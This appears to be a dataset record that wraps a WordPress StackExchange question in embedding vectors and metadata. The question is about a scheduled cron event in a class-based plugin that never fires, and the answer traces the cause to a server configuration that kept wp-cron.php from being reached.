0.07049560546875,
-0.0149993896484375,
-0.06671142578125,
-0.043212890625,
-0.015350341796875,
0.004192352294921875,
0.01202392578125,
-0.00540924072265625,
-0.031982421875,
0.02557373046875,
0.00787353515625,
-0.01971435546875,
-0.0225677490234375,
0.0309600830078125,
-0.037261962890625,
0.00034880638122558594,
-0.046905517578125,
0.02105712890625,
-0.0168609619140625,
-0.0264434814453125,
-0.0162200927734375,
0.0255889892578125,
-0.045654296875,
-0.0162353515625,
0.019683837890625,
-0.0177154541015625,
-0.0474853515625,
-0.0084228515625,
-0.0287628173828125,
-0.031646728515625,
0.0187225341796875,
0.06695556640625,
0.027587890625,
0.01178741455078125,
0.01439666748046875,
-0.0029735565185546875,
0.00395965576171875,
0.02679443359375,
-0.055816650390625,
0.01377105712890625,
-0.0014390945434570312,
0.0180816650390625,
0.0029125213623046875,
0.0509033203125,
-0.00485992431640625,
0.056610107421875,
-0.06689453125,
-0.027801513671875,
0.039337158203125,
-0.03265380859375,
0.03057861328125,
-0.040008544921875,
-0.0178375244140625,
-0.021392822265625,
0.093505859375,
0.0190582275390625,
-0.032440185546875,
-0.004852294921875,
0.007015228271484375,
-0.023468017578125,
-0.004459381103515625,
-0.00562286376953125,
-0.0057525634765625,
-0.0197296142578125,
-0.00522613525390625,
-0.01226043701171875,
-0.0184173583984375,
0.0138702392578125,
-0.08465576171875,
0.01177978515625,
-0.043304443359375,
0.01479339599609375,
-0.002635955810546875,
0.00197601318359375,
0.053314208984375,
-0.01739501953125,
0.033599853515625,
-0.0211181640625,
-0.039825439453125,
-0.049468994140625,
-0.016571044921875,
0.045867919921875,
0.016204833984375,
-0.032989501953125,
0.00847625732421875,
-0.031768798828125,
0.026519775390625,
-0.006587982177734375,
0.043975830078125,
-0.0211944580078125,
0.0171661376953125,
0.0036525726318359375,
-0.00534820556640625,
-0.0091705322265625,
-0.0113983154296875,
-0.00011789798736572266,
-0.02252197265625,
-0.029327392578125,
-0.0168304443359375,
-0.032501220703125,
0.008880615234375,
0.013031005859375,
-0.036651611328125,
-0.0941162109375,
-0.057586669921875,
-0.029815673828125,
-0.01035308837890625,
-0.0111541748046875,
-0.00478363037109375,
-0.045318603515625,
-0.07220458984375,
0.00989532470703125,
-0.0168914794921875,
-0.012481689453125,
0.0154266357421875,
0.058135986328125,
0.0184783935546875,
-0.005096435546875,
-0.034423828125,
0.0408935546875,
0.034881591796875,
0.0308074951171875,
-0.0015802383422851562,
-0.028564453125,
-0.0379638671875,
0.0435791015625,
0.00919342041015625,
-0.00154876708984375,
-0.01018524169921875,
0.07366943359375,
-0.03192138671875,
-0.02813720703125,
0.014373779296875,
-0.065185546875,
0.0296630859375,
-0.007450103759765625,
0.003932952880859375,
-0.026885986328125,
0.06207275390625,
0.05133056640625,
-0.029632568359375,
0.0051116943359375,
-0.0253753662109375,
-0.01239013671875,
-0.00258636474609375,
0.07025146484375,
0.0121917724609375,
-0.002208709716796875,
0.02569580078125,
-0.0138702392578125,
-0.00429534912109375,
-0.003910064697265625,
0.021392822265625,
-0.0259552001953125,
-0.00797271728515625,
0.01107025146484375,
0.0225372314453125,
-0.00577545166015625,
0.0275115966796875,
-0.006900787353515625,
0.01012420654296875,
-0.021881103515625,
-0.03485107421875,
-0.0372314453125,
-0.02178955078125,
0.02197265625,
0.030792236328125,
0.0002589225769042969,
0.05474853515625,
0.0263824462890625,
-0.0020809173583984375,
-0.01305389404296875,
-0.045806884765625,
0.019073486328125,
-0.065185546875,
-0.003223419189453125,
0.001644134521484375,
0.0002396106719970703,
-0.007671356201171875,
0.086669921875,
-0.0080413818359375,
0.05010986328125,
0.004009246826171875,
0.00353240966796875,
-0.010223388671875,
0.0626220703125,
0.038787841796875,
-0.04595947265625,
-0.01265716552734375,
0.0285186767578125,
-0.0198974609375,
-0.023223876953125,
-0.021209716796875,
0.0430908203125,
-0.0005116462707519531,
-0.007076263427734375,
-0.00676727294921875,
0.024658203125,
0.027008056640625,
-0.0184478759765625,
-0.0293121337890625,
-0.0031261444091796875,
0.01314544677734375,
-0.005401611328125,
0.004062652587890625,
-0.00982666015625,
0.0389404296875,
-0.0025386810302734375,
-0.0005321502685546875,
0.001983642578125,
-0.0019931793212890625,
0.00876617431640625,
-0.0303497314453125,
0.0060577392578125,
0.0163726806640625,
-0.0090179443359375,
-0.0374755859375,
-0.0276947021484375,
-0.06072998046875,
-0.0016794204711914062,
-0.00843048095703125,
-0.005619049072265625,
0.0147247314453125,
-0.0518798828125,
0.04571533203125,
-0.00885009765625,
-0.0047607421875,
-0.01349639892578125,
0.03863525390625,
0.015380859375,
0.0293121337890625,
-0.053619384765625,
0.018646240234375,
-0.0281524658203125,
-0.0185089111328125,
-0.053680419921875,
-0.0305633544921875,
-0.046173095703125,
-0.009765625,
0.0029582977294921875,
0.01508331298828125,
-0.01160430908203125,
-0.01163482666015625,
-0.0219268798828125,
0.0092315673828125,
0.022735595703125,
0.00098419189453125,
-0.0242919921875,
0.03387451171875,
0.006771087646484375,
0.0325927734375,
-0.01019287109375,
-0.0139923095703125,
-0.040557861328125,
0.0126800537109375,
-0.004947662353515625,
0.0028076171875,
-0.02569580078125,
-0.0277557373046875,
0.0179290771484375,
0.04010009765625,
0.08135986328125,
-0.0118255615234375,
-0.00978851318359375,
-0.00904083251953125,
0.00560760498046875,
-0.0139923095703125,
0.03900146484375,
0.0094146728515625,
-0.021697998046875,
0.00749969482421875,
0.0098419189453125,
0.01213836669921875,
0.01126861572265625,
-0.008575439453125,
-0.011077880859375,
0.015411376953125,
0.0279693603515625,
-0.07080078125,
-0.0165252685546875,
0.04827880859375,
0.0509033203125,
-0.01361083984375,
0.032562255859375,
0.003997802734375,
-0.00006222724914550781,
0.0286407470703125,
0.0166015625,
-0.03564453125,
-0.060394287109375,
0.047454833984375,
0.024658203125,
-0.040283203125,
0.059326171875,
-0.025543212890625,
0.0094757080078125,
0.03173828125,
0.07220458984375,
-0.06158447265625,
-0.007495880126953125,
0.019866943359375,
-0.0032024383544921875,
0.01336669921875,
0.00678253173828125,
-0.0004374980926513672,
-0.032470703125,
0.0240936279296875,
0.01061248779296875,
-0.0032444000244140625,
0.022735595703125,
-0.0023174285888671875,
0.002162933349609375,
0.01219940185546875,
0.00804901123046875,
-0.003936767578125,
-0.07080078125,
-0.031707763671875,
0.050811767578125,
-0.035369873046875,
-0.03851318359375,
-0.0282135009765625,
0.024169921875,
-0.02972412109375,
-0.061737060546875,
0.024078369140625,
-0.00940704345703125,
0.0233612060546875,
0.008209228515625,
-0.00982666015625,
0.0103302001953125,
0.010406494140625,
-0.00543212890625,
-0.0007605552673339844,
-0.0205535888671875,
-0.020477294921875,
-0.0218963623046875,
-0.0214996337890625,
0.014404296875,
0.04888916015625,
-0.08123779296875,
0.0220184326171875,
-0.028839111328125,
0.0153045654296875,
-0.007038116455078125,
0.0191802978515625,
0.019256591796875,
-0.0012197494506835938,
-0.021484375,
0.054107666015625,
0.007007598876953125,
-0.0243682861328125,
-0.01116943359375,
0.05572509765625,
-0.0086669921875,
0.047882080078125,
0.003986358642578125,
0.0231475830078125,
-0.0721435546875,
-0.02899169921875,
-0.054779052734375,
0.046844482421875,
0.003448486328125,
-0.01175689697265625,
-0.026153564453125,
0.02471923828125,
0.0017099380493164062,
0.00727081298828125,
-0.02587890625,
0.053497314453125,
0.005817413330078125,
0.0638427734375,
-0.07122802734375,
-0.039215087890625,
0.0122528076171875,
0.06842041015625,
0.032989501953125,
-0.0035114288330078125,
-0.002227783203125,
0.025726318359375,
0.08441162109375,
0.029693603515625,
-0.007266998291015625,
0.0083770751953125,
-0.01134490966796875,
-0.02154541015625,
0.045806884765625,
-0.02191162109375,
0.032958984375,
-0.0205230712890625,
-0.001873016357421875,
0.0006422996520996094,
-0.00446319580078125,
0.0021514892578125,
0.005245208740234375,
0.0265350341796875,
0.020355224609375,
-0.01142120361328125,
-0.007625579833984375,
0.0051727294921875,
0.035491943359375,
-0.006008148193359375,
0.01258087158203125,
-0.015777587890625,
0.00646209716796875,
-0.004955291748046875,
0.039093017578125,
0.0054168701171875,
0.0231170654296875,
0.0665283203125,
0.0234832763671875,
0.0863037109375,
-0.02496337890625,
0.0107574462890625,
-0.0287322998046875,
-0.0004143714904785156,
-0.0135955810546875,
-0.01300048828125,
0.007518768310546875,
-0.0208282470703125,
0.030303955078125,
0.03131103515625,
-0.01158905029296875,
-0.018157958984375,
0.00792694091796875,
0.00968170166015625,
-0.02239990234375,
-0.0209197998046875,
-0.0533447265625,
-0.033935546875,
-0.044708251953125,
-0.053192138671875,
-0.03094482421875,
-0.00014829635620117188,
0.03131103515625,
0.06268310546875,
0.0177154541015625,
0.0273590087890625,
-0.08953857421875,
-0.0625,
-0.0305938720703125,
0.030242919921875,
0.007244110107421875,
0.0291595458984375,
-0.0205841064453125,
0.061798095703125,
-0.019927978515625,
-0.0005049705505371094,
-0.0108184814453125,
0.021514892578125,
0.0282745361328125,
-0.007648468017578125,
-0.0034313201904296875,
-0.00499725341796875,
0.05072021484375,
0.0140380859375,
0.00298309326171875,
0.01145172119140625,
0.053558349609375,
0.052947998046875,
-0.01507568359375,
-0.018218994140625,
0.0487060546875,
-0.0088958740234375,
0.0061187744140625,
-0.03125,
0.064208984375,
0.0692138671875,
0.0263824462890625,
-0.00548553466796875,
0.01088714599609375,
0.07928466796875,
-0.0294342041015625,
0.0246124267578125,
-0.01227569580078125,
-0.0611572265625,
0.037109375,
-0.0089569091796875,
0.0946044921875,
-0.00797271728515625,
-0.042694091796875,
-0.0160064697265625,
-0.01300811767578125,
0.0292510986328125,
-0.040191650390625,
0.0117340087890625,
0.0034008026123046875,
0.02386474609375,
0.032958984375,
-0.01141357421875,
-0.007266998291015625,
0.0267333984375,
-0.019256591796875,
-0.04248046875,
0.0200653076171875,
-0.0200958251953125,
-0.045654296875,
-0.024566650390625,
0.00038743019104003906,
0.01085662841796875,
0.0247344970703125,
-0.00984954833984375,
0.038482666015625,
0.01959228515625,
0.02520751953125,
-0.0247955322265625,
0.026397705078125,
-0.030364990234375,
0.07037353515625,
-0.037078857421875,
-0.0413818359375,
0.0054779052734375,
-0.01166534423828125,
-0.023101806640625,
0.037139892578125,
-0.048614501953125,
-0.025177001953125,
-0.0192718505859375,
0.0262298583984375,
0.0095977783203125,
0.0014276504516601562,
-0.034515380859375,
-0.0574951171875,
-0.037200927734375,
0.0254669189453125,
-0.017059326171875,
-0.0017976760864257812,
-0.041412353515625,
0.0010967254638671875,
0.01220703125,
-0.0751953125,
0.040740966796875,
-0.06927490234375,
0.08758544921875,
0.035614013671875,
0.0396728515625,
-0.0248260498046875,
-0.007289886474609375,
-0.0208587646484375,
0.0071868896484375,
0.0054931640625,
0.0286865234375,
0.0052947998046875,
-0.060577392578125,
0.0017004013061523438,
0.0343017578125,
0.03143310546875,
-0.026458740234375,
0.0201873779296875,
0.01222991943359375,
-0.0113983154296875,
0.046966552734375,
-0.042266845703125,
-0.03204345703125,
-0.041961669921875,
0.005283355712890625,
0.0158843994140625,
-0.00432586669921875,
-0.0399169921875,
-0.00005412101745605469,
-0.0067138671875,
0.02996826171875,
-0.0049591064453125,
-0.030242919921875,
-0.01031494140625,
-0.020599365234375,
0.050323486328125,
-0.007221221923828125,
0.00508880615234375,
0.03546142578125,
0.03411865234375,
-0.03143310546875,
-0.00231170654296875,
0.00799560546875,
0.0008025169372558594,
0.010833740234375,
-0.0164031982421875,
0.0039215087890625,
-0.00833892822265625,
-0.0231170654296875,
-0.008209228515625,
-0.004238128662109375,
0.038818359375,
0.0228424072265625,
-0.04620361328125,
0.01506805419921875,
-0.00592041015625,
0.032958984375,
-0.03192138671875,
-0.03875732421875,
-0.01033782958984375,
0.024017333984375,
0.0273895263671875,
-0.029388427734375,
-0.01019287109375,
-0.048095703125,
-0.0596923828125,
0.0826416015625,
0.0102691650390625,
-0.0249481201171875,
0.0045623779296875,
-0.022735595703125,
-0.0382080078125,
0.048065185546875,
0.007843017578125,
-0.0278472900390625,
-0.005523681640625,
0.03955078125,
-0.0225830078125,
0.04583740234375,
0.00704193115234375,
-0.03411865234375,
0.0141143798828125,
-0.00913238525390625,
-0.0008807182312011719,
-0.00852203369140625,
0.042938232421875,
-0.044586181640625,
0.041259765625,
0.040435791015625,
-0.039398193359375,
-0.04132080078125,
0.00962066650390625,
-0.0163421630859375,
-0.0016832351684570312,
-0.02880859375,
0.0302581787109375,
-0.0230560302734375,
-0.002117156982421875,
-0.040283203125,
-0.017303466796875,
0.007678985595703125,
-0.037353515625,
-0.005023956298828125,
0.002490997314453125,
0.004596710205078125,
0.00321197509765625,
-0.01555633544921875,
0.033477783203125,
-0.0254669189453125,
-0.01074981689453125,
-0.035980224609375,
0.03497314453125,
-0.0679931640625,
-0.0062103271484375,
0.00879669189453125,
0.00798797607421875,
-0.0753173828125,
0.0210418701171875,
0.007450103759765625,
-0.0031528472900390625,
0.00533294677734375,
0.00978851318359375,
-0.023590087890625,
0.01107025146484375,
0.061920166015625,
0.0151519775390625,
-0.0193939208984375,
-0.042572021484375,
0.0151214599609375,
-0.01934814453125,
0.04864501953125,
-0.0255889892578125,
-0.020904541015625,
-0.021728515625,
0.004924774169921875,
0.0208587646484375,
0.007419586181640625,
-0.01450347900390625,
0.0035686492919921875,
0.031829833984375,
0.009796142578125,
-0.004444122314453125,
0.018585205078125,
-0.0168609619140625,
0.059844970703125,
0.0193634033203125,
-0.0270233154296875,
0.041656494140625,
-0.027618408203125,
0.00391387939453125,
-0.0012826919555664062,
-0.042999267578125,
0.0019197463989257812,
-0.01531219482421875,
-0.0059051513671875,
-0.030517578125,
-0.002567291259765625
] |
3c2a6dc905b7898116bd41e38f47c8baec2ad5ef
|
Wordpress Stackexchange
Q: wp_schedule_event in a class This is my (stripped down) plugin, in OOP:
<?php
/*
Plugin Name: Cron Test
Plugin URI: http://www.mywebsite.com/
Description: Test
Version: 1.0
Requires at least: 3.0
*/
class CronTest {
public function __construct() {
if ( !wp_next_scheduled( 'dailyops' ) ) {
wp_schedule_event( time(), 'daily', 'dailyops' );
}
add_action( 'dailyops', array($this, 'do_this_daily') );
}
function do_this_daily() {
// do something every day
error_log('daily');
}
}
$cronTest = new CronTest();
Anyway, it's not working (do_this_daily() is never fired). I tried the same in a non-OOP plugin (not based on a class) and it works flawlessy. How can I make it work here, in a class?
EDIT: I replaced the initial portion of the code with a full (still minimal) plugin that can be tested.
A: Finally, I discovered what was wrong: the webserver (a dedicated VPS) had a bad configuration of the hosted domain, so it was unable to "self contact" it, to call wp-cron.php .
I fixed it and now every scheduled job works, including this one :)
|
Q: wp_schedule_event in a class This is my (stripped down) plugin, in OOP:
<?php
/*
Plugin Name: Cron Test
Plugin URI: http://www.mywebsite.com/
Description: Test
Version: 1.0
Requires at least: 3.0
*/
class CronTest {
public function __construct() {
if ( !wp_next_scheduled( 'dailyops' ) ) {
wp_schedule_event( time(), 'daily', 'dailyops' );
}
add_action( 'dailyops', array($this, 'do_this_daily') );
}
function do_this_daily() {
// do something every day
error_log('daily');
}
}
$cronTest = new CronTest();
Anyway, it's not working (do_this_daily() is never fired). I tried the same in a non-OOP plugin (not based on a class) and it works flawlessy. How can I make it work here, in a class?
EDIT: I replaced the initial portion of the code with a full (still minimal) plugin that can be tested.
A: Finally, I discovered what was wrong: the webserver (a dedicated VPS) had a bad configuration of the hosted domain, so it was unable to "self contact" it, to call wp-cron.php .
I fixed it and now every scheduled job works, including this one :)
|
wordpress
|
{
"language": "en",
"length": 171,
"provenance": "stackexchange_00019.jsonl.gz:435906",
"question_score": "5",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/110409"
}
|
[
0.0638427734375,
0.01509857177734375,
-0.03338623046875,
-0.046783447265625,
0.03277587890625,
-0.057342529296875,
0.0110015869140625,
-0.0192718505859375,
-0.0089569091796875,
-0.000568389892578125,
-0.034759521484375,
0.01274871826171875,
-0.0299224853515625,
-0.0157470703125,
-0.004444122314453125,
-0.03515625,
0.0418701171875,
-0.0074615478515625,
0.007049560546875,
-0.006465911865234375,
0.00783538818359375,
0.04766845703125,
-0.0284576416015625,
0.0732421875,
0.0160980224609375,
0.006298065185546875,
0.047271728515625,
0.02093505859375,
0.007236480712890625,
0.008941650390625,
0.01108551025390625,
-0.04705810546875,
0.006763458251953125,
0.03070068359375,
-0.034271240234375,
-0.0303192138671875,
-0.01502227783203125,
0.0037784576416015625,
-0.0240020751953125,
0.041839599609375,
0.022186279296875,
-0.00566864013671875,
0.0279998779296875,
0.0153656005859375,
-0.0027370452880859375,
-0.050567626953125,
0.042510986328125,
-0.01367950439453125,
-0.019256591796875,
-0.01580810546875,
0.02215576171875,
-0.0330810546875,
0.035614013671875,
-0.007091522216796875,
-0.01172637939453125,
0.0143585205078125,
-0.039154052734375,
0.048797607421875,
0.0080413818359375,
0.00690460205078125,
0.0019931793212890625,
0.0242156982421875,
0.001674652099609375,
0.01059722900390625,
0.00042366981506347656,
-0.0222320556640625,
-0.01070404052734375,
0.0232696533203125,
-0.0276947021484375,
0.004695892333984375,
0.0287322998046875,
-0.011383056640625,
-0.0000247955322265625,
0.0008749961853027344,
-0.034576416015625,
-0.061614990234375,
0.037261962890625,
-0.06378173828125,
0.00930023193359375,
0.00412750244140625,
0.037933349609375,
0.034912109375,
-0.024505615234375,
0.0268096923828125,
-0.0108642578125,
0.02569580078125,
-0.007198333740234375,
-0.03607177734375,
-0.03997802734375,
-0.0285186767578125,
-0.040771484375,
0.035552978515625,
-0.058868408203125,
-0.0416259765625,
-0.0237274169921875,
-0.0325927734375,
0.041748046875,
0.05841064453125,
-0.056304931640625,
-0.00860595703125,
-0.02947998046875,
-0.0185546875,
-0.001049041748046875,
-0.021697998046875,
-0.019805908203125,
0.046844482421875,
0.028106689453125,
0.04962158203125,
0.0003345012664794922,
0.022247314453125,
0.0038509368896484375,
-0.0294952392578125,
0.0238800048828125,
-0.0181884765625,
0.02288818359375,
-0.04693603515625,
-0.03369140625,
0.056793212890625,
0.01702880859375,
-0.01366424560546875,
0.022491455078125,
0.0201416015625,
-0.006458282470703125,
-0.038604736328125,
-0.0005364418029785156,
-0.006229400634765625,
-0.035064697265625,
-0.0130157470703125,
0.04937744140625,
-0.00543975830078125,
-0.0338134765625,
0.0215606689453125,
0.06201171875,
-0.028289794921875,
-0.021270751953125,
0.0008368492126464844,
0.03143310546875,
-0.0157012939453125,
-0.0057220458984375,
0.007564544677734375,
0.0164337158203125,
-0.0102691650390625,
0.0045928955078125,
-0.01335906982421875,
0.048553466796875,
0.0178680419921875,
0.0308380126953125,
-0.0013780593872070312,
-0.0189361572265625,
-0.01253509521484375,
0.0155792236328125,
-0.01511383056640625,
0.00469207763671875,
0.014068603515625,
0.03717041015625,
0.0043182373046875,
0.0308990478515625,
-0.0212860107421875,
0.0225372314453125,
0.0103759765625,
-0.0017642974853515625,
-0.00923919677734375,
0.004024505615234375,
-0.038116455078125,
-0.0430908203125,
0.01206207275390625,
-0.04608154296875,
-0.0082855224609375,
0.0224609375,
-0.038299560546875,
-0.005077362060546875,
0.02288818359375,
0.07354736328125,
0.00601959228515625,
-0.004955291748046875,
0.0162200927734375,
-0.002094268798828125,
-0.0166168212890625,
0.046234130859375,
0.033782958984375,
-0.028289794921875,
-0.01238250732421875,
0.057403564453125,
-0.0294952392578125,
-0.014556884765625,
-0.016357421875,
-0.01824951171875,
-0.011810302734375,
0.039154052734375,
0.016448974609375,
-0.00213623046875,
-0.006931304931640625,
-0.004207611083984375,
0.033294677734375,
-0.01351165771484375,
-0.01015472412109375,
-0.03790283203125,
0.037109375,
-0.023284912109375,
-0.0457763671875,
-0.0233154296875,
0.0162506103515625,
-0.037567138671875,
0.016510009765625,
-0.0855712890625,
0.020263671875,
-0.032470703125,
0.0401611328125,
0.04736328125,
0.01535797119140625,
-0.014495849609375,
0.0121917724609375,
0.01067352294921875,
-0.08935546875,
-0.052520751953125,
0.0224456787109375,
-0.00777435302734375,
0.04736328125,
-0.00862884521484375,
0.0279388427734375,
-0.0083465576171875,
-0.05682373046875,
-0.01119232177734375,
-0.0002956390380859375,
0.0183563232421875,
-0.0028533935546875,
-0.018280029296875,
-0.00675201416015625,
0.00958251953125,
0.01076507568359375,
-0.007595062255859375,
0.0164642333984375,
0.042816162109375,
0.048828125,
-0.00475311279296875,
0.006378173828125,
0.031463623046875,
-0.0286865234375,
0.0020694732666015625,
0.0178680419921875,
0.04290771484375,
0.06268310546875,
0.0273284912109375,
0.0218963623046875,
0.0223236083984375,
-0.043731689453125,
0.030548095703125,
-0.04461669921875,
-0.039215087890625,
-0.0228118896484375,
0.005397796630859375,
0.0027866363525390625,
0.032135009765625,
-0.0089263916015625,
-0.03289794921875,
0.046844482421875,
0.01143646240234375,
-0.03228759765625,
-0.006038665771484375,
0.0162811279296875,
0.017242431640625,
-0.0006194114685058594,
-0.04638671875,
0.0220184326171875,
-0.006671905517578125,
-0.0168304443359375,
0.00618743896484375,
0.00922393798828125,
0.01418304443359375,
-0.0281219482421875,
0.01617431640625,
-0.036224365234375,
-0.0093841552734375,
0.060333251953125,
0.008941650390625,
0.0096588134765625,
-0.059539794921875,
0.00688934326171875,
-0.0263519287109375,
0.037841796875,
-0.006305694580078125,
0.0245819091796875,
-0.0284423828125,
-0.016265869140625,
-0.0189208984375,
-0.0110626220703125,
0.00739288330078125,
0.00630950927734375,
0.001010894775390625,
0.0096893310546875,
0.03875732421875,
0.0262908935546875,
-0.0245819091796875,
0.047210693359375,
-0.0289306640625,
-0.01387786865234375,
-0.00353240966796875,
-0.016815185546875,
0.056915283203125,
-0.05426025390625,
-0.0139007568359375,
0.0361328125,
-0.03955078125,
0.0232696533203125,
0.0185546875,
-0.01654052734375,
0.0190887451171875,
0.02044677734375,
-0.005420684814453125,
0.051239013671875,
-0.1351318359375,
-0.02618408203125,
0.030181884765625,
0.1075439453125,
-0.008026123046875,
-0.054779052734375,
0.0190277099609375,
0.050567626953125,
-0.047271728515625,
-0.0966796875,
-0.0179290771484375,
-0.0170135498046875,
-0.02490234375,
-0.0261993408203125,
-0.005039215087890625,
0.01003265380859375,
-0.03350830078125,
-0.0011243820190429688,
-0.038665771484375,
0.0172271728515625,
0.0035552978515625,
-0.0189361572265625,
-0.038604736328125,
0.009033203125,
0.0014009475708007812,
0.0240631103515625,
0.0074462890625,
0.055389404296875,
-0.00936126708984375,
-0.05255126953125,
0.00022351741790771484,
0.03497314453125,
-0.002834320068359375,
0.02410888671875,
0.017425537109375,
-0.0183868408203125,
-0.0046234130859375,
-0.005992889404296875,
0.027618408203125,
0.027252197265625,
-0.033203125,
-0.01030731201171875,
0.01006317138671875,
0.01226043701171875,
0.0185394287109375,
0.0447998046875,
-0.0118255615234375,
-0.00714111328125,
0.0162353515625,
-0.044342041015625,
0.007724761962890625,
-0.0062103271484375,
0.0037517547607421875,
0.0157928466796875,
-0.02130126953125,
-0.0025768280029296875,
0.0048065185546875,
0.0136871337890625,
-0.03326416015625,
0.02581787109375,
0.04541015625,
0.0033855438232421875,
-0.047119140625,
-0.042724609375,
-0.0582275390625,
-0.00659942626953125,
0.0374755859375,
-0.01043701171875,
0.006465911865234375,
-0.007110595703125,
-0.0257568359375,
-0.048980712890625,
0.0062103271484375,
-0.100830078125,
-0.04412841796875,
0.051788330078125,
0.01165008544921875,
-0.005126953125,
-0.028076171875,
-0.0303192138671875,
0.005390167236328125,
0.07037353515625,
0.029693603515625,
-0.035430908203125,
-0.01206207275390625,
0.018218994140625,
-0.097412109375,
-0.0220489501953125,
-0.0043182373046875,
0.0117950439453125,
-0.061065673828125,
-0.0164947509765625,
-0.0306243896484375,
-0.027740478515625,
0.0025691986083984375,
-0.0124664306640625,
-0.0455322265625,
-0.043121337890625,
-0.0041046142578125,
-0.0186614990234375,
0.007038116455078125,
-0.0128021240234375,
-0.01287841796875,
-0.0296630859375,
0.0316162109375,
-0.049591064453125,
-0.09356689453125,
-0.03375244140625,
-0.0161895751953125,
0.09100341796875,
0.0301666259765625,
-0.009490966796875,
-0.015380859375,
0.0633544921875,
0.049530029296875,
0.0258026123046875,
0.0029449462890625,
-0.048370361328125,
0.0237884521484375,
0.0223236083984375,
0.024261474609375,
0.0012025833129882812,
0.01885986328125,
0.0145416259765625,
-0.06622314453125,
0.01546478271484375,
-0.03717041015625,
-0.024871826171875,
-0.003604888916015625,
-0.06170654296875,
0.006862640380859375,
-0.0227508544921875,
-0.0009899139404296875,
0.0037746429443359375,
-0.027587890625,
0.01445770263671875,
-0.0202789306640625,
-0.00681304931640625,
0.0181732177734375,
-0.0191802978515625,
-0.009490966796875,
0.00835418701171875,
0.07342529296875,
0.028167724609375,
-0.0048980712890625,
-0.0166168212890625,
0.043701171875,
0.03045654296875,
-0.007663726806640625,
-0.0060577392578125,
-0.01261138916015625,
-0.01557159423828125,
0.0229034423828125,
-0.00597381591796875,
0.005847930908203125,
-0.0031871795654296875,
0.058074951171875,
0.01508331298828125,
-0.0239715576171875,
0.011199951171875,
0.008636474609375,
-0.0296173095703125,
0.021148681640625,
0.004192352294921875,
-0.0302886962890625,
0.0234222412109375,
0.0290374755859375,
-0.024505615234375,
0.029815673828125,
-0.0117950439453125,
-0.021240234375,
0.0128173828125,
-0.01971435546875,
0.0082244873046875,
0.03924560546875,
-0.017547607421875,
0.0054779052734375,
-0.00569915771484375,
0.01971435546875,
0.00916290283203125,
0.04217529296875,
-0.01039886474609375,
0.019744873046875,
0.0743408203125,
0.01812744140625,
-0.044708251953125,
-0.002742767333984375,
0.07940673828125,
0.0078887939453125,
0.01027679443359375,
-0.041656494140625,
-0.01119232177734375,
-0.03436279296875,
-0.01432037353515625,
-0.058074951171875,
0.0400390625,
0.0265960693359375,
-0.01435089111328125,
-0.016845703125,
-0.045013427734375,
-0.00960540771484375,
-0.049957275390625,
0.0240936279296875,
0.0341796875,
-0.00566864013671875,
0.043975830078125,
0.01727294921875,
0.05157470703125,
0.0134735107421875,
-0.033843994140625,
0.06317138671875,
0.038604736328125,
0.034271240234375,
0.01137542724609375,
-0.0318603515625,
-0.0038051605224609375,
0.00927734375,
-0.0193328857421875,
-0.03900146484375,
-0.045806884765625,
0.037017822265625,
0.041259765625,
-0.0097503662109375,
0.010040283203125,
0.007251739501953125,
0.0209197998046875,
-0.033294677734375,
0.01213836669921875,
0.0200958251953125,
0.0140838623046875,
-0.0274810791015625,
0.006320953369140625,
0.048980712890625,
0.05377197265625,
-0.0029754638671875,
0.0160064697265625,
-0.0175018310546875,
0.024200439453125,
-0.0206451416015625,
0.0215911865234375,
-0.030670166015625,
-0.03851318359375,
-0.03411865234375,
-0.00872802734375,
0.01019287109375,
-0.023223876953125,
-0.03314208984375,
0.0006589889526367188,
-0.022796630859375,
0.04132080078125,
-0.05792236328125,
0.040252685546875,
-0.062225341796875,
0.0220489501953125,
-0.10882568359375,
0.0038967132568359375,
0.07421875,
0.07940673828125,
-0.07720947265625,
-0.0030956268310546875,
-0.0002105236053466797,
-0.003978729248046875,
-0.04608154296875,
-0.037506103515625,
-0.063720703125,
-0.004032135009765625,
0.01617431640625,
0.0031986236572265625,
-0.0132598876953125,
-0.03131103515625,
0.0108184814453125,
-0.0059661865234375,
0.00801849365234375,
0.0262908935546875,
0.0026149749755859375,
0.07806396484375,
-0.0176849365234375,
0.0859375,
0.0184478759765625,
0.04840087890625,
-0.003482818603515625,
-0.0423583984375,
0.02215576171875,
-0.007099151611328125,
-0.038299560546875,
-0.037017822265625,
-0.01435089111328125,
0.01520538330078125,
0.050628662109375,
-0.0340576171875,
-0.01470947265625,
-0.036895751953125,
-0.004482269287109375,
-0.022979736328125,
0.06988525390625,
-0.031524658203125,
-0.027923583984375,
0.0022754669189453125,
-0.04193115234375,
0.002777099609375,
0.01538848876953125,
0.030517578125,
-0.007244110107421875,
-0.0279083251953125,
-0.01065826416015625,
0.0304107666015625,
-0.039794921875,
0.0611572265625,
0.10693359375,
0.0011606216430664062,
0.06439208984375,
0.002635955810546875,
0.0120086669921875,
0.032379150390625,
0.03680419921875,
0.0140380859375,
-0.05694580078125,
0.0126800537109375,
-0.0177459716796875,
0.006305694580078125,
-0.025665283203125,
-0.01349639892578125,
-0.01007080078125,
0.048919677734375,
0.039459228515625,
-0.06744384765625,
0.002239227294921875,
-0.0031948089599609375,
0.00141143798828125,
0.0266876220703125,
-0.00722503662109375,
0.0231781005859375,
-0.0201416015625,
0.0171051025390625,
0.0230560302734375,
-0.0185394287109375,
-0.0138397216796875,
-0.0113983154296875,
-0.0010194778442382812,
0.026702880859375,
0.0279541015625,
0.0130462646484375,
-0.06427001953125,
0.02716064453125,
0.03338623046875,
0.03253173828125,
-0.0372314453125,
0.0174713134765625,
0.006511688232421875,
-0.022613525390625,
-0.036407470703125,
0.047882080078125,
0.019775390625,
0.01378631591796875,
0.001041412353515625,
-0.0307464599609375,
0.040771484375,
0.021331787109375,
-0.00838470458984375,
0.00022149085998535156,
0.000003159046173095703,
-0.0226898193359375,
-0.0012750625610351562,
-0.0253753662109375,
0.0277099609375,
0.058837890625,
-0.0782470703125,
0.0230712890625,
-0.01244354248046875,
-0.0038585662841796875,
0.01132965087890625,
-0.005558013916015625,
0.0185699462890625,
-0.0239105224609375,
-0.015869140625,
-0.00885009765625,
-0.027862548828125,
0.041534423828125,
0.0086822509765625,
-0.0024738311767578125,
-0.0303497314453125,
-0.0077056884765625,
0.0030727386474609375,
-0.031585693359375,
0.01039886474609375,
0.0203094482421875,
-0.002094268798828125,
0.1434326171875,
0.01543426513671875,
-0.046051025390625,
0.0206756591796875,
0.08453369140625,
-0.061737060546875,
0.058441162109375,
-0.035675048828125,
0.0131072998046875,
-0.0340576171875,
0.0121917724609375,
-0.059600830078125,
-0.0172882080078125,
-0.030029296875,
